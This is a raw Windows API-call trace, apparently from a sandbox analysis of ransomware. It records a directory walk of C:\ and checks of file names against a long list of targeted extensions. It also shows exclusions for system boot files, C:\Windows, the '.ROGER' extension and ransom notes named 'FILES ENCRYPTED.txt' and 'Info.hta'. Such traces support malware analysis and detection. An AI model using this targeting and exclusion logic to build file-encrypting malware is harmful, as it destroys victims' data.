lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0057.775] lstrlenW (lpString=".3gp") returned 4 [0057.775] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0057.775] lstrlenW (lpString=".7z") returned 3 [0057.776] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.776] lstrlenW (lpString=".accda") returned 6 [0057.776] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".accdb") returned 6 [0057.776] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".accdc") returned 6 [0057.776] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".accde") returned 6 [0057.776] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".accdt") returned 6 [0057.776] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".accdw") returned 6 [0057.776] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0057.776] lstrlenW (lpString=".adb") returned 4 [0057.776] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".adp") returned 4 [0057.776] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai") returned 3 [0057.776] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0057.776] lstrlenW (lpString=".ai3") returned 4 [0057.776] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai4") returned 4 [0057.776] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai5") returned 4 [0057.776] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai6") returned 4 [0057.776] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai7") returned 4 [0057.776] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".ai8") returned 4 [0057.776] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0057.776] lstrlenW (lpString=".anim") returned 5 [0057.776] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0057.777] lstrlenW (lpString=".arw") returned 4 [0057.777] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".as") returned 3 [0057.777] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0057.777] lstrlenW (lpString=".asa") returned 4 [0057.777] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".asc") returned 4 [0057.777] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".ascx") returned 5 [0057.777] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0057.777] lstrlenW (lpString=".asm") returned 4 [0057.777] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".asmx") returned 5 [0057.777] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0057.777] lstrlenW (lpString=".asp") returned 4 [0057.777] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".aspx") returned 5 [0057.777] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0057.777] lstrlenW (lpString=".asr") returned 4 [0057.777] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".asx") returned 4 [0057.777] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".avi") returned 4 [0057.777] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".avs") returned 4 [0057.777] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".backup") returned 7 [0057.777] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0057.777] lstrlenW (lpString=".bak") returned 4 [0057.777] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".bay") returned 4 [0057.777] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0057.777] lstrlenW (lpString=".bd") returned 3 [0057.778] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0057.778] lstrlenW (lpString=".bin") returned 4 [0057.778] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0057.778] lstrlenW (lpString=".bmp") returned 4 [0057.778] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0057.778] lstrlenW (lpString=".bz2") returned 4 [0057.778] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0057.778] lstrlenW (lpString=".c") returned 2 [0057.778] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0057.778] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0057.778] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0057.778] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0057.779] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0057.779] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0057.779] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0057.779] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0057.780] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0057.780] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0057.780] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0057.781] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0057.781] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0057.782] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0057.782] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0057.782] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0057.782] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0057.782] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0057.783] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0057.783] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0057.783] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0057.783] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0057.784] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0057.784] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0057.784] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0057.784] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0057.784] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0057.784] lstrcmpiW (lpString1=".ROGER", lpString2="op.ini") returned -1 [0057.784] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0057.784] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0057.784] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0057.784] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0057.784] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0057.784] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0057.784] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0057.784] lstrcmpiW (lpString1="ContinuumLoosely.exe", lpString2="desktop.ini") returned -1 [0057.784] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn1") returned 1 [0057.784] lstrcmpiW (lpString1="C:\\Windows", lpString2="Burn1") returned 1 [0057.784] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4f20018 [0057.785] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0057.785] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0057.785] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0057.786] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0057.786] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0057.786] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 Thread: id = 22 os_tid = 0xab4 [0037.020] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e20078 [0037.020] lstrlenW (lpString="C:") returned 2 [0037.020] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x473fd00 | out: lpFindFileData=0x473fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7cb810 [0037.021] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0037.021] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0037.021] lstrlenW (lpString="$Recycle.Bin") returned 12 [0037.021] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0037.021] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e30080 [0037.021] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0037.021] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb850 [0037.021] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.021] FindNextFileW (in: hFindFile=0x7cb850, lpFindFileData=0x473fa84 | out: lpFindFileData=0x473fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0037.021] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0037.021] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0037.021] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0037.021] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0037.021] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e40088 [0037.022] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0037.022] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb890 [0037.022] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.022] FindNextFileW (in: hFindFile=0x7cb890, lpFindFileData=0x473f808 | out: lpFindFileData=0x473f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0037.022] lstrlenW (lpString="desktop.ini") returned 11 [0037.022] lstrlenW (lpString=".1cd") returned 4 [0037.022] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0037.022] lstrlenW (lpString=".3ds") returned 4 [0037.022] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0037.022] lstrlenW (lpString=".3fr") returned 4 [0037.022] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0037.022] lstrlenW (lpString=".3g2") returned 4 [0037.022] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0037.022] lstrlenW (lpString=".3gp") returned 4 [0037.022] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0037.022] lstrlenW (lpString=".7z") returned 3 [0037.022] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0037.022] lstrlenW (lpString=".accda") returned 6 [0037.022] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".accdb") returned 6 [0037.022] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".accdc") returned 6 [0037.022] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".accde") returned 6 [0037.022] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".accdt") returned 6 [0037.022] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".accdw") returned 6 [0037.022] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0037.022] lstrlenW (lpString=".adb") returned 4 [0037.023] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".adp") returned 4 [0037.023] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai") returned 3 [0037.023] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0037.023] lstrlenW (lpString=".ai3") returned 4 [0037.023] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai4") returned 4 [0037.023] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai5") returned 4 [0037.023] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai6") returned 4 [0037.023] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai7") returned 4 [0037.023] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ai8") returned 4 [0037.023] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".anim") returned 5 [0037.023] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0037.023] lstrlenW (lpString=".arw") returned 4 [0037.023] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".as") returned 3 [0037.023] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0037.023] lstrlenW (lpString=".asa") returned 4 [0037.023] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".asc") returned 4 [0037.023] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".ascx") returned 5 [0037.023] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0037.023] lstrlenW (lpString=".asm") returned 4 [0037.023] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0037.023] lstrlenW (lpString=".asmx") returned 5 [0037.023] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0037.023] lstrlenW (lpString=".asp") returned 4 [0037.023] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".aspx") returned 5 [0037.024] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0037.024] lstrlenW (lpString=".asr") returned 4 [0037.024] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".asx") returned 4 [0037.024] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".avi") returned 4 [0037.024] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".avs") returned 4 [0037.024] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".backup") returned 7 [0037.024] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0037.024] lstrlenW (lpString=".bak") returned 4 [0037.024] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".bay") returned 4 [0037.024] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".bd") returned 3 [0037.024] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0037.024] lstrlenW (lpString=".bin") returned 4 [0037.024] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".bmp") returned 4 [0037.024] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".bz2") returned 4 [0037.024] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".c") returned 2 [0037.024] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0037.024] lstrlenW (lpString=".cdr") returned 4 [0037.024] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".cer") returned 4 [0037.024] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0037.024] lstrlenW (lpString=".cf") returned 3 [0037.024] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0037.024] lstrlenW (lpString=".cfc") returned 4 [0037.025] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cfm") returned 4 [0037.025] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cfml") returned 5 [0037.025] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0037.025] lstrlenW (lpString=".cfu") returned 4 [0037.025] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".chm") returned 4 [0037.025] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cin") returned 4 [0037.025] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".class") returned 6 [0037.025] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0037.025] lstrlenW (lpString=".clx") returned 4 [0037.025] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".config") returned 7 [0037.025] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0037.025] lstrlenW (lpString=".cpp") returned 4 [0037.025] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cr2") returned 4 [0037.025] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".crt") returned 4 [0037.025] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".crw") returned 4 [0037.025] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cs") returned 3 [0037.025] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0037.025] lstrlenW (lpString=".css") returned 4 [0037.025] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".csv") returned 4 [0037.025] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".cub") returned 4 [0037.025] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0037.025] lstrlenW (lpString=".dae") returned 4 [0037.025] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dat") returned 4 [0037.026] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".db") returned 3 [0037.026] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0037.026] lstrlenW (lpString=".dbf") returned 4 [0037.026] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dbx") returned 4 [0037.026] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dc3") returned 4 [0037.026] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dcm") returned 4 [0037.026] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0037.026] lstrlenW (lpString=".dcr") returned 4 [0037.026] lstrcmpiW (lpString1=".dcr", 